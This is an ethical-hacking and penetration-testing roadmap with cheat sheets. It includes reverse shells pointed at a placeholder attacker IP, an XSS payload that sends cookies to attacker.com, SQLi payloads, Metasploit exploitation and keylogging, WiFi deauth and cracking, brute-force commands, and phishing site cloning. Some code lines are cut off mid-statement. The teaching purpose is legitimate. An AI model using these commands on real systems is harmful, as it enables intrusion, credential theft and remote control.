// COMPLETE ROADMAP V1.0 //

ETHICAL HACKING
& PENETRATION TESTING

Complete Roadmap & Guide

From Reconnaissance to Reporting — A to Z of Ethical Hacking, with a complete roadmap, cheat sheets, and hands-on guide.

```
hacker@kali:~# whoami
ethical_hacker_in_training
hacker@kali:~# cat goal.txt
Learn → Understand → Break → Protect
hacker@kali:~# ./start_journey.sh
[+] Loading roadmap...
```

🕵️ Reconnaissance | 🔍 Scanning | 💥 Exploitation | ⬆️ Privilege Escalation | 🔒 Post-Exploitation | 📝 Reporting | 🌐 Web App Testing | 📡 Network Hacking | 🛠️ Tools & Frameworks | 📋 Cheat Sheets

// TABLE OF CONTENTS //

01 Intro to Ethical Hacking & Roadmap
What is Hacking, Legal Framework, Career Path, Mindset
FOUNDATION

02 Reconnaissance — Information Gathering
Passive vs Active Recon, OSINT, Google Dorks, Shodan
RECON

03 Scanning & Enumeration
Nmap, Masscan, Nikto, Banner Grabbing, Service Detection
SCAN

04 Vulnerability Assessment
CVE, CVSS, OpenVAS, Nessus, Manual Analysis
VULN

05 Exploitation — Taking Advantage of Vulnerabilities
Metasploit, Manual Exploits, Buffer Overflow, CVE Exploit
EXPLOIT

06 Post-Exploitation & Privilege Escalation
Persistence, Lateral Movement, Data Exfiltration
POST-EX

07 Web Application Hacking
OWASP Top 10, SQLi, XSS, SSRF, Burp Suite Workflow
WEB

08 Network Hacking & Wireless
MITM, ARP Spoofing, WiFi Cracking, WPA2 Attack
NETWORK

09 Password Attacks & Cracking
Hashcat, John, Hydra, Rainbow Tables, Wordlists
CRACK

10 Social Engineering
Phishing, Vishing, Pretexting, SET Framework
SOCIAL

11 Reporting & Documentation
Writing Pentest Reports, CVSS Scoring, Executive Summary
REPORT

12

Cheat Sheet — Complete Reference

Nmap, Metasploit, SQLi, XSS, Reverse Shell — All Commands

CHEAT

CHAPTER 01

🎯 Intro to Ethical Hacking & Complete Roadmap

What is Hacking, why learn it, Career Path, and Ethical Hacker Mindset

What is Ethical Hacking?

Ethical Hacking is the process by which an authorized individual identifies vulnerabilities in a system, network, or application — so that they can be fixed. It is also called **Penetration Testing** or **White Hat Hacking**.

🟢 **White Hat**

Tests systems with permission. Ethical Hacker. Legal.

🟡 **Grey Hat**

Sometimes without permission, but no malicious intent. Legally risky.

🔴 **Black Hat**

Breaks into systems without permission. Criminal. Illegal.

Penetration Testing Methodology

🕵️ Reconnaissance → 🔍 Scanning → 🎯 Gaining Access → ⬆️ Maintaining Access → 🧹 Clearing Tracks → 📝

Reporting

Complete Learning Roadmap

1

🌱 Foundation (1-3 Months)

What you need to know before starting

Linux Basics | Networking (TCP/IP) | Python Scripting | Web Basics (HTTP) | Virtualization (VMware/VBox)

↓

2

🔍 Reconnaissance & Scanning (2-3 Months)

Techniques for gathering information about a target

Nmap | OSINT (Maltego) | Google Dorks | Shodan | theHarvester | Nikto

↓

3

💥 Exploitation (3-4 Months)

Finding and exploiting vulnerabilities

Metasploit | Burp Suite | SQLi / XSS | Buffer Overflow | CVE Research

↓

4

🔝 Post-Exploitation & PrivEsc (2-3 Months)

What to do after getting into a system

LinPEAS/WinPEAS | Mimikatz | BloodHound | Persistence | Pivoting

↓

5

🏆 Certification & CTF (Ongoing)

Certifications to prove your career skills

CEH | OSCP | eJPT | TryHackMe | HackTheBox | Bug Bounty

Career Path — Where Can You Go?

Role	Work	Avg Salary (USD)	Required Certs
Penetration Tester	Break systems & report	$80K–$130K	OSCP, CEH
Bug Bounty Hunter	Find bugs, get rewards	$20K–$200K+	কোনোটাই না
Red Team Operator	Simulate real attackers	$100K–$160K	OSCP, CRTO
Security Researcher	Research new vulnerabilities	$90K–$150K	CVE Publication
SOC Analyst	Detect & respond to attacks	$55K–$90K	CompTIA Security+

⚖️ **Legal Warning**

Always work with **written permission**. Unauthorized hacking is a criminal offense under Bangladesh's Digital Security Act and internationally under the Computer Fraud and Abuse Act (CFAA). Practice on HackTheBox, TryHackMe, or your own lab.

// Key Takeaways //

- 🟢 Ethical Hacking = Permission + Skill + Responsibility
- 🔵 Cannot learn hacking without a foundation — learn Linux, Networking, Python first
- 🔴 Always practice in a legal environment
- 🟡 Follow the roadmap — there are no shortcuts

CHAPTER 02

🕵️ Reconnaissance — Information Gathering

Gathering maximum information about the target is the first and most important step

Passive vs Active Reconnaissance

🔇 Passive Recon

Gathering information without direct contact with the target. Completely stealth — target won't notice.

- WHOIS lookup
- Google Dorks
- LinkedIn/Social Media
- Shodan / Censys
- DNS Records
- Job Postings (tech stack)

📡 Active Recon

Information gathering by directly interacting with the target. May leave traces in logs.

- Nmap port scanning
- Banner grabbing
- Ping sweep
- DNS zone transfer
- Web crawling
- Traceroute

OSINT — Open Source Intelligence

OSINT is using publicly available information to create intelligence about a target. Professional pentesters spend 60-70% of their time on recon.

Google Dorks — Search Engine Hacking

```
# Google Dork Examples site:target.com filetype:pdf site:target.com inurl:admin site:target.com intitle:"index of" inurl:target.com ext:sql | ext:db | ext:log "@target.com" filetype:xls site:target.com intext:"password" OR intext:"passwd" intitle:"Apache Status" inurl:server-status site:target.com cache:target.com # Subdomain enumeration via Google site:*.target.com -www
```

WHOIS & DNS Enumeration

```
# WHOIS lookup $ whois target.com $ whois 192.168.1.1 # DNS Enumeration $ nslookup target.com $ dig target.com ANY $ dig target.com MX $ dig target.com NS $ host -t ns target.com # DNS Zone Transfer (misconfiguration exploit) $ dig axfr @ns1.target.com target.com $ dnsrecon -d target.com -t axfr # Subdomain Enumeration $ sublist3r -d target.com $ amass enum -d target.com $ dnsx -d target.com -w /usr/share/wordlists/dns.txt
```

Shodan — Search Engine of the Internet

```
# Shodan CLI $ shodan init YOUR_API_KEY $ shodan host 192.168.1.1 $ shodan search "apache 2.4" country:BD $ shodan search "port:22" org:"target company" # Shodan Dorks (web interface) hostname:target.com org:"Target Organization" net:192.168.0.0/24 port:3306 country:BD # MySQL servers "default password" port:80 vuln:CVE-2021-44228 # Log4Shell vulnerable
```

Email Harvesting

```
$ theHarvester -d target.com -b google,bing,linkedin $ theHarvester -d target.com -b all -l 500 -f output.html $ hunter.io # Web-based email finder $ emailhippo # Email validation
```

// Recon Checklist //

- ✅ Gather WHOIS and DNS records
- ✅ Enumerate subdomains
- ✅ Build a list of email addresses and employees
- ✅ Find exposed services using Shodan
- ✅ Find sensitive files using Google Dorks
- ✅ Extract tech stack from social media

CHAPTER 03

🔍 Scanning & Enumeration

Detecting open ports, running services, OS version — techniques for everything

Nmap — The Most Important Scanning Tool

```
# Basic Scans $ nmap 192.168.1.1 # Basic scan $ nmap 192.168.1.0/24 # Network range $ nmap -p 80,443,22,21 192.168.1.1 # Specific ports $ nmap -p- 192.168.1.1 # All 65535 ports $ nmap -p 1-1000 192.168.1.1 # Port range # Scan Types $ nmap -sS 192.168.1.1 # SYN (Stealth) scan $ nmap -sT 192.168.1.1 # TCP Connect scan $ nmap -sU 192.168.1.1 # UDP scan $ nmap -sA 192.168.1.1 # ACK scan (firewall detection) # Service & OS Detection $ nmap -sV 192.168.1.1 # Service version $ nmap -O 192.168.1.1 # OS detection $ nmap -A 192.168.1.1 # Aggressive (OS+Version+Scripts) $ nmap -sV --version-intensity 9 # Max version detection # NSE Scripts $ nmap --script vuln 192.168.1.1 # Vulnerability scan $ nmap --script smb-vuln-* 192.168.1.1 # SMB vulnerabilities $ nmap --script http-enum 192.168.1.1 # Web enumeration $ nmap --script ftp-anon 192.168.1.1 # Anonymous FTP $ nmap --script ssh-brute 192.168.1.1 # SSH brute force # Evasion Techniques $ nmap -D RND:10 192.168.1.1 # Decoy scan $ nmap -f 192.168.1.1 # Fragment packets $ nmap --source-port 53 # Spoof source port $ nmap -T0 192.168.1.1 # Paranoid (very slow) # Output Formats $ nmap -oN output.txt # Normal text $ nmap -oX output.xml # XML format $ nmap -oG output.gnmap # Grepable $ nmap -oA output # All formats
```

Service-Specific Enumeration

SMB Enumeration (Port 445)

```
$ enum4linux -a 192.168.1.1 $ smbclient -L //192.168.1.1 -N $ smbmap -H 192.168.1.1 $ crackmapexec smb 192.168.1.1 $ nmap --script smb-enum-users 192.168.1.1
```

Web Enumeration (Port 80/443)

```
# Directory Bruteforce $ gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt $ ffuf -w wordlist.txt -u http://target.com/FUZZ $ dirb http://target.com # Web Scanner $ nikto -h http://target.com $ whatweb http://target.com $ wafw00f http://target.com # WAF detection
```

FTP / SSH / SNMP Enumeration

```
# FTP (Port 21) — Anonymous Login Check $ nmap --script ftp-anon,ftp-bounce -p 21 192.168.1.1 # SSH (Port 22) $ ssh-audit 192.168.1.1 # Algorithm & version check # SNMP (Port 161) — Community string $ snmpwalk -c public -v1 192.168.1.1 $ onesixtyone -c community.txt 192.168.1.1
```

⚡ Important Port Numbers

```
21 → FTP     22 → SSH     23 → Telnet
25 → SMTP    53 → DNS     80 → HTTP
110 → POP3   143 → IMAP   443 → HTTPS

445 → SMB    3306 → MySQL   3389 → RDP
5432 → PostgreSQL   6379 → Redis
8080 → HTTP-Alt   27017 → MongoDB
```

CHAPTER 04

🎯 Vulnerability Assessment

CVE, CVSS Score, Automated and Manual vulnerability analysis

Understanding CVE & CVSS Score

CVE (Common Vulnerabilities and Exposures) is a unique identifier for publicly disclosed vulnerabilities. Each CVE has a CVSS Score between 0 and 10.

CVSS Score	Severity	Meaning
9.0 – 10.0	CRITICAL	Immediate patch required
7.0 – 8.9	HIGH	Fix soon
4.0 – 6.9	MEDIUM	Fix with planning
0.1 – 3.9	LOW	Less urgent

Automated Vulnerability Scanners

```
# OpenVAS (Free) $ sudo gvm-start # Web UI: https://localhost:9392 # Nessus Essentials (Free for 16 IPs) # Web UI: https://localhost:8834 # Nuclei (Fast, template-based) $ nuclei -u https://target.com $ nuclei -u https://target.com -t cves/ $ nuclei -l urls.txt -t vulnerabilities/ $ nuclei -u target.com -severity critical,high # searchsploit — Exploit Database $ searchsploit apache 2.4 $ searchsploit -m 44228 # Copy exploit to current dir $ searchsploit --cve 2021-44228
```

Manual Vulnerability Research

🔍 Information Sources

- **NVD** — nvd.nist.gov
- **Exploit-DB** — exploit-db.com
- **CVE Details** — cvedetails.com
- **Packet Storm** — packetstormsecurity.com
- **GitHub** — PoC exploits
- **VulnHub** — Vulnerable VMs

✅ Manual Analysis Steps

- Note service and version
- Search exploits with searchsploit
- Check the CVE database
- Read and understand the exploit
- Test in lab first
- Don't go out of scope

CHAPTER 05

💥 Exploitation — Taking Advantage of Vulnerabilities

05

Metasploit Framework, Manual Exploit, and Reverse Shell

Metasploit Framework

```
# Start Metasploit $ msfconsole msf6 > help # Search & Use Module msf6 > search eternalblue msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > info msf6 > show options msf6 > set RHOSTS 192.168.1.1 msf6 > set LHOST 192.168.1.100 msf6 > set LPORT 4444 msf6 > set payload windows/x64/meterpreter/reverse_tcp msf6 > run # Meterpreter Commands meterpreter > sysinfo meterpreter > getuid meterpreter > getsystem # Privilege Escalation meterpreter > hashdump # Password hashes meterpreter > shell meterpreter > upload /path/to/file C:\\Windows\\Temp\\ meterpreter > download C:\\file.txt /local/path/ meterpreter > screenshot meterpreter > keyscan_start # Keylogger meterpreter > run post/multi/recon/local_exploit_suggester
```

Reverse Shell

```
# Listener setup (attacker machine) $ nc -lvnp 4444 $ rlwrap nc -lvnp 4444 # With readline support # Bash Reverse Shell bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Python Reverse Shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2 i"])' # PHP Reverse Shell php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # PowerShell Reverse Shell (Windows) powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);..." # Netcat Reverse Shell nc -e /bin/sh ATTACKER_IP 4444 # Upgrade to fully interactive shell python3 -c 'import pty;pty.spawn("/bin/bash")' Ctrl+Z stty raw -echo; fg export TERM=xterm
```

Common Exploit Types

Famous CVE Exploits

- **EternalBlue** (MS17-010) — SMB
- **Log4Shell** (CVE-2021-44228)
- **PrintNightmare** (CVE-2021-34527)
- **Shellshock** (CVE-2014-6271) — Bash
- **Heartbleed** (CVE-2014-0160) — OpenSSL
- **BlueKeep** (CVE-2019-0708) — RDP

Payload Types

- **Singles** — Self-contained, no stage
- **Stagers** — Small, downloads stage
- **Stages** — Loaded by stager
- **Meterpreter** — Advanced, in-memory
- **Shell** — Simple command shell

CHAPTER 06

↑ Post-Exploitation & Privilege Escalation

After getting in — Persistence, PrivEsc, Lateral Movement, Data Exfiltration

Privilege Escalation — Linux

```
# Automated Enumeration $ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh $ wget -O linpeas.sh https://linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh # Manual Checks $ id && whoami $ sudo -l # Sudo permissions $ find / -perm -u=s -type f 2>/dev/null # SUID files $ cat /etc/crontab # Cron jobs $ cat /etc/passwd | grep -v nologin $ ss -tulpn # Listening ports $ ps aux # Running processes $ find / -writable -type d 2>/dev/null # Writable dirs $ uname -a # Kernel version # GTFOBins — SUID exploit reference # https://gtfobins.github.io $ sudo find . -exec /bin/sh \; -quit # find SUID $ sudo vim -c ':!/bin/sh' # vim sudo
```

Privilege Escalation — Windows

```
# WinPEAS C:\> winpeas.exe # Manual Checks C:\> whoami /priv C:\> net user C:\> net localgroup administrators C:\> systeminfo C:\> sc query type= all state= all C:\> wmic service get name,startname PS > Get-HotFix | sort InstalledOn # Missing patches # Token Impersonation (Meterpreter) meterpreter > use incognito meterpreter > list_tokens -u meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
```

Persistence Techniques

🐧 Linux Persistence

- Add a cron job
- Inject SSH key

- .bashrc backdoor
- Create a systemd service
- Create SUID binary

Windows Persistence

- Registry Run key
- Scheduled Task
- Startup folder
- Install a service
- DLL Hijacking

CHAPTER 07

Web Application Hacking

07

OWASP Top 10, SQLi, XSS, CSRF, SSRF, File Upload, Burp Suite Workflow

OWASP Top 10 (2021)

#	Vulnerability	Summary
A01	**Broken Access Control**	Unauthorized resource access
A02	**Cryptographic Failures**	Weak encryption, HTTP, plain-text password
A03	**Injection**	SQLi, XSS, Command Injection
A04	**Insecure Design**	Business logic flaw
A05	**Security Misconfiguration**	Default password, verbose error
A06	**Vulnerable Components**	Outdated library/framework
A07	**Auth Failures**	Weak password, broken session
A08	**Software Integrity Failures**	CI/CD pipeline attack
A09	**Logging Failures**	Insufficient logging & monitoring
A10	**SSRF**	Server-side request forgery

SQL Injection

```
# Basic SQLi Test ' OR '1'='1 ' OR '1'='1'-- ' OR 1=1-- " OR "1"="1 admin'-- ') OR ('1'='1 # UNION-based SQLi ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ' UNION SELECT username,password FROM users-- # Error-based SQLi ' AND extractvalue(1,concat(0x7e,version()))-- ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- # Blind SQLi (Boolean-based) ' AND 1=1-- # True → page loads normally ' AND 1=2-- # False → page changes ' AND SUBSTRING(username,1,1)='a'-- # SQLMap — Automated SQLi $ sqlmap -u "http://target.com/page.php?id=1" $ sqlmap -u "http://target.com/page.php?id=1" --dbs $ sqlmap -u "http://target.com/page.php?id=1" -D mydb --tables $ sqlmap -u "http://target.com/page.php?id=1" -D mydb -T users --dump $ sqlmap -r request.txt --level 5 --risk 3
```

Cross-Site Scripting (XSS)

```
# Basic XSS Payloads <script>alert('XSS')</script> <script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> '"><script>alert(1)</script> # Cookie Stealing <script>document.location='http://attacker.com/steal?c='+document.cookie</script> # WAF Bypass <ScRiPt>alert(1)</ScRiPt> <script>eval(atob('YWxlcnQoMSk='))</script> <img src="x" onerror="alert(1)">
```

Burp Suite Workflow

🔧 Core Features

- **Proxy** — HTTP request intercept
- **Repeater** — Manual request modify
- **Intruder** — Automated fuzzing
- **Scanner** — Auto vulnerability scan
- **Decoder** — Encode/decode data
- **Comparer** — Response comparison

🎯 Testing Workflow

1. Set proxy in browser

2. Browse target, view requests
3. Send interesting requests to Repeater
4. Modify parameters and test
5. Fuzz with Intruder
6. Run auto scan with Scanner

CHAPTER 08

📡 Network Hacking & Wireless

MITM Attack, ARP Spoofing, WiFi Password Cracking, WPA2 Attack

08

Man-in-the-Middle (MITM) Attack

```
# ARP Spoofing $ arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP $ arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP # Enable IP Forwarding $ echo 1 > /proc/sys/net/ipv4/ip_forward # Bettercap — All-in-one MITM $ bettercap -iface eth0 » net.probe on » net.recon on » arp.spoof.targets VICTIM_IP » arp.spoof on » net.sniff on » https.proxy on # SSL Strip
```

WiFi Hacking — WPA/WPA2

⚠️ **Only on your own network or with permission!**

```
# Monitor Mode $ airmon-ng check kill $ airmon-ng start wlan0 # Now interface is wlan0mon # Scan Networks $ airodump-ng wlan0mon # Capture Handshake $ airodump-ng --bssid TARGET_MAC -c CHANNEL -w capture wlan0mon # Deauth Attack (force reconnect) $ aireplay-ng -0 5 -a TARGET_MAC -c CLIENT_MAC wlan0mon # Crack WPA2 Handshake $ aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt $ hashcat -m 22000 capture.hc22000 rockyou.txt # WPS Attack (Pixie Dust) $ wash -i wlan0mon # Find WPS-enabled APs $ reaver -i wlan0mon -b TARGET_MAC -vv
```

Packet Sniffing

```
# Tcpdump $ tcpdump -i eth0 $ tcpdump -i eth0 -w capture.pcap $ tcpdump -r capture.pcap $ tcpdump host 192.168.1.1 $ tcpdump port 80 $ tcpdump -A port 80 # ASCII output (HTTP) # Tshark
```

```
(Wireshark CLI) $ tshark -i eth0 $ tshark -r capture.pcap -Y "http.request" $ tshark -r capture.pcap -Y "ftp" -T fields -e ftp.request.arg
```

CHAPTER 09

🔑 Password Attacks & Cracking

Hash cracking, Brute Force, Dictionary Attack, Rainbow Tables

09

Hash Identification & Cracking

```
# Identify Hash Type $ hash-identifier $ hashid "5f4dcc3b5aa765d61d8327deb882cf99" $ name-that-hash -t "hash_value" # Hashcat — GPU-powered cracking $ hashcat -m 0 hash.txt rockyou.txt # MD5 $ hashcat -m 100 hash.txt rockyou.txt # SHA1 $ hashcat -m 1000 hash.txt rockyou.txt # NTLM $ hashcat -m 1800 hash.txt rockyou.txt # SHA-512crypt $ hashcat -m 22000 wpa.hc22000 rockyou.txt # WPA2 $ hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l # Brute Force $ hashcat -m 0 hash.txt -r rules/best64.rule rockyou.txt # John the Ripper $ john hash.txt $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt $ john hash.txt --format=md5crypt $ john --show hash.txt # Show cracked passwords $ unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
```

Online Service Brute Force

```
# Hydra — Network Login Cracker $ hydra -l admin -P rockyou.txt ssh://192.168.1.1 $ hydra -L users.txt -P rockyou.txt ftp://192.168.1.1 $ hydra -l admin -P rockyou.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" $ hydra -l admin -P rockyou.txt rdp://192.168.1.1 $ hydra -l admin -P rockyou.txt smtp://mail.target.com # Medusa $ medusa -h 192.168.1.1 -u admin -P rockyou.txt -M ssh # CrackMapExec — SMB Password Spray $ crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt $ crackmapexec smb 192.168.1.1 -u admin -p 'Password123!'
```

Wordlists

Wordlist	Size	Use
`rockyou.txt`	14M passwords	Most commonly used
`SecLists`	Huge collection	Directory, username, password
`kaonashi.txt`	500M+	Powerful crack
`hashkiller`	Online	Pre-computed hashes

CHAPTER 10

🎭 Social Engineering

Using human psychology to extract information or access

What is Social Engineering?

Social Engineering is exploiting human psychology and trust to extract sensitive information or gain unauthorized access. Exploiting human vulnerabilities is often easier than technical ones.

📧 Phishing

Sending fake emails to trick users into clicking harmful links or stealing credentials.

📞 Vishing

Using phone calls, pretending to be IT support or a bank, to extract information.

💬 Pretexting

Creating a false identity and scenario to gain the target's trust.

🎣 Baiting

Leaving a USB drive or luring with free software to get malware installed.

Social Engineering Toolkit (SET)

```
# Launch SET $ setoolkit # Spear-Phishing Attack Vectors 1) Social-Engineering Attacks → 1) Spear-Phishing Attack Vectors → 1) Perform a Mass Email Attack # Website Clone (Credential Harvesting) 1) Social-Engineering Attacks → 2) Website Attack Vectors → 3) Credential Harvester Attack Method → 2) Site Cloner → Enter URL to clone: http://facebook.com # GoPhish — Professional Phishing Framework $ ./gophish # Web UI: https://localhost:3333
```

How to Protect Against Social Engineering

- Don't click links in unknown emails
- Never give your password over the phone
- Always enable MFA
- Take security awareness training
- Verify, don't just trust

CHAPTER 11

📝 Reporting & Documentation

Complete guide to writing a professional Penetration Testing Report

Pentest Report Structure

📋 Report Sections

1. **Executive Summary**
2. **Scope & Methodology**
3. **Findings Summary**
4. **Detailed Findings**
5. **Risk Rating**
6. **Recommendations**
7. **Appendix**

✅ What Each Finding Includes

- Vulnerability name & CVE
- CVSS Score & Risk Level
- Affected System & URL
- Description & Impact
- Proof of Concept (PoC)
- Screenshot & Evidence
- Remediation Steps

Risk Rating Matrix

Risk Level	CVSS	Example	Remediation Time
CRITICAL	9.0–10	RCE, SQL Auth Bypass	Within 24 hours
HIGH	7.0–8.9	SQLi, Privilege Escalation	Within 7 days
MEDIUM	4.0–6.9	XSS, CSRF	Within 30 days
LOW	0.1–3.9	Information Disclosure	Within 90 days
INFO	0.0	Missing headers	At next maintenance

Reporting Tools

PlexTrac

REPORT PLATFORM

Professional pentest report platform

Dradis

COLLABORATION

Team-based reporting & note sharing

Serpico

OPEN SOURCE

Open-source pentest reporting

CHAPTER 12

📋 Cheat Sheet — Complete Reference

All important commands in one place — for quick reference

🗺️ Nmap Cheat Sheet

Scan Types	
`nmap -sS TARGET`	SYN Stealth
`nmap -sV TARGET`	Version detect
`nmap -A TARGET`	Aggressive scan
`nmap -p- TARGET`	All 65535 ports
`nmap -O TARGET`	OS detection
`nmap -sU TARGET`	UDP scan

NSE Scripts	
`--script vuln`	Vulnerability check
`--script http-enum`	Web enumeration
`--script smb-vuln-*`	SMB vulnerabilities
`--script ftp-anon`	Anonymous FTP
`--script ssh-brute`	SSH brute force
`--script dns-zone-transfer`	Zone transfer

🐍 Metasploit Cheat Sheet

MSF Console	
`search [keyword]`	Search module

`use [module]`	Load module
`show options`	View options
`set RHOSTS [IP]`	Set target
`run / exploit`	Run exploit
`sessions -l`	List sessions

Meterpreter

`sysinfo`	System info
`getuid`	Current user
`getsystem`	Privilege escalate
`hashdump`	Password hashes
`shell`	System shell
`run post/multi/recon/...`	Post module

🌐 Web Hacking Cheat Sheet

SQL Injection

`' OR '1'='1'--`	Auth bypass
`sqlmap -u "URL?id=1"`	Auto SQLi
`sqlmap -u URL --dbs`	Database list
`sqlmap -r req.txt`	Request file
`UNION SELECT 1,2,3--`	Column count

XSS Payloads

`<script>alert(1)</script>`	Basic XSS
`<img src=x onerror=alert(1)>`	Img tag XSS
`<svg onload=alert(1)>`	SVG XSS
`document.cookie`	Cookie steal
`dalfox url http://target`	Auto XSS scan

🔑 Password Cracking Cheat Sheet

Hashcat	
`hashcat -m 0`	MD5
`hashcat -m 100`	SHA1
`hashcat -m 1000`	NTLM
`hashcat -m 1800`	sha512crypt
`hashcat -a 0`	Dictionary
`hashcat -a 3 ?l?l?l?l`	Brute force

Hydra	
`hydra -l USER -P list ssh://IP`	SSH
`hydra -l USER -P list ftp://IP`	FTP
`hydra -l USER -P list rdp://IP`	RDP
`hydra -L users -P list smb://IP`	SMB
`-t 4`	4 threads
`-f`	Stop on first hit

🍪 Reverse Shell Cheat Sheet

```
# Listener $ nc -lvnp 4444 ## Reverse Shells ## Bash: bash -i >& /dev/tcp/IP/4444 0>&1 Python:
python3 -c 'import
socket,os,pty;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);o
PHP: php -r '$s=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' NC: nc -e /bin/sh IP 4444
Perl: perl -e 'use
Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,
-i");' ## Upgrade Shell ## python3 -c 'import pty;pty.spawn("/bin/bash")' Ctrl+Z → stty raw -
echo; fg → export TERM=xterm
```

🔍 OSINT & Recon Cheat Sheet

DNS & Subdomain

`amass enum -d domain`	Subdomain enum
`sublist3r -d domain`	Subdomain list
`dig domain ANY`	DNS records
`whois domain`	Domain info
`theHarvester -d domain -b all`	Email harvest

Web Enumeration

`gobuster dir -u URL -w list`	Directory brute
`ffuf -w list -u URL/FUZZ`	Fast fuzzing
`nikto -h URL`	Web vuln scan
`whatweb URL`	Tech detection
`wafw00f URL`	WAF detection

🏆 Practice Platforms

TryHackMe

BEGINNER FRIENDLY

Guided learning path, best for beginners. tryhackme.com

HackTheBox

INTERMEDIATE

Real-world machines, CTF-style challenge. hackthebox.com

VulnHub

OFFLINE

Download vulnerable VMs to practice locally. vulnhub.com

PortSwigger

WEB SECURITY

Web security academy, free labs. portswigger.net

PentesterLab

STRUCTURED

Hands-on web app pentesting exercises

Bugcrowd / HackerOne

BUG BOUNTY

Find bugs in real companies and earn rewards

"The quieter you become, the more you can hear."

This document is entirely for educational purposes. Always practice in an authorized environment and within legal boundaries.

v1.0 — Ethical Hacking & Penetration Testing Roadmap | Bilingual | 12 Chapters + Cheat Sheets